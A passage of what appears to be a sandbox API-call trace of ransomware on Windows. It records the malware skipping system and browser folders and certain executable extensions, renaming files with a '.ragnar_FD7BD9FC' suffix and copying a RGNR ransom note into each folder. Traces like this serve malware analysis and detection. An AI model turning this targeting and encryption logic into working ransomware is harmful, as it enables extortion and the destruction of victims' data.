(lpString1=".gif", lpString2=".db") returned 1 [0069.590] lstrcmpiW (lpString1=".gif", lpString2=".sys") returned -1 [0069.590] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0069.590] lstrcmpiW (lpString1=".gif", lpString2=".lnk") returned -1 [0069.590] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0069.590] lstrcmpiW (lpString1=".gif", lpString2=".drv") returned 1 [0069.590] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0069.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0069.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.590] CloseHandle (hObject=0xffffffff) returned 0 [0069.590] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" [0069.590] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.ragnar_FD7BD9FC" [0069.590] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.590] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0069.590] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0069.591] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2=".") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="..") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Windows") returned -1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Windows.old") returned -1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Tor browser") returned -1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Internet Explorer") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Google") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Opera") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Opera Software") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Mozilla") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="Mozilla Firefox") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="$Recycle.Bin") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="ProgramData") returned 1 [0069.591] lstrcmpiW (lpString1="TextConv", lpString2="All Users") returned 1 [0069.591] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0069.591] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="TextConv" | out: lpString1="TextConv") returned="TextConv" [0069.591] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\" [0069.591] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\" [0069.591] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RGNR_FD7BD9FC.txt" [0069.591] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0069.614] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*" [0069.614] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0069.614] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0069.614] lstrcpyW (in: lpString1=0x1eb224, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0069.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bbb5580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7bbb5580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0069.614] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0069.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bbb5580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7bbb5580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.614] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0069.614] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0069.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0069.614] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0069.614] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0069.614] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0069.614] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0069.615] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0069.615] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0069.615] lstrcpyW (in: lpString1=0x1eb638, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0069.615] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\" [0069.615] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\" [0069.615] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\RGNR_FD7BD9FC.txt" [0069.615] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0070.081] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*" [0070.087] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0070.088] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.090] lstrcpyW (in: lpString1=0x1ea758, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7be88fa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0070.108] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0070.167] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7be88fa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.167] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0070.167] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0070.168] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be88fa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.168] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0070.168] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0070.168] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be88fa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0070.168] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0070.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7be88fa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0070.168] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7be88fa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.168] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be88fa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.168] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0070.168] lstrcpyW (in: lpString1=0x1eab6c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0070.168] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0070.168] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0070.168] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be88fa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0070.168] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0070.168] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0070.168] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2=".") returned 1 [0070.168] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="..") returned 1 [0070.168] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0070.168] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2=".") returned 1 [0070.169] lstrcmpiW (lpString1="RECOVR32.CNV", lpString2="..") returned 1 [0070.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb8f420, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7bb8f420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.169] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0070.169] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0070.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0070.169] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2=".") returned 1 [0070.169] lstrcmpiW (lpString1="Wks9Pxy.cnv", lpString2="..") returned 1 [0070.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0070.169] lstrcmpiW (lpString1="WPFT532.CNV", lpString2=".") returned 1 [0070.169] lstrcmpiW (lpString1="WPFT532.CNV", lpString2="..") returned 1 [0070.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0070.169] lstrcmpiW (lpString1="WPFT632.CNV", lpString2=".") returned 1 [0070.169] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="..") returned 1 [0070.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0070.169] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0070.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bbb5580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7bbb5580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0070.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bbb5580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7bbb5580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7be88fa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7be88fa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0070.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0070.169] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", 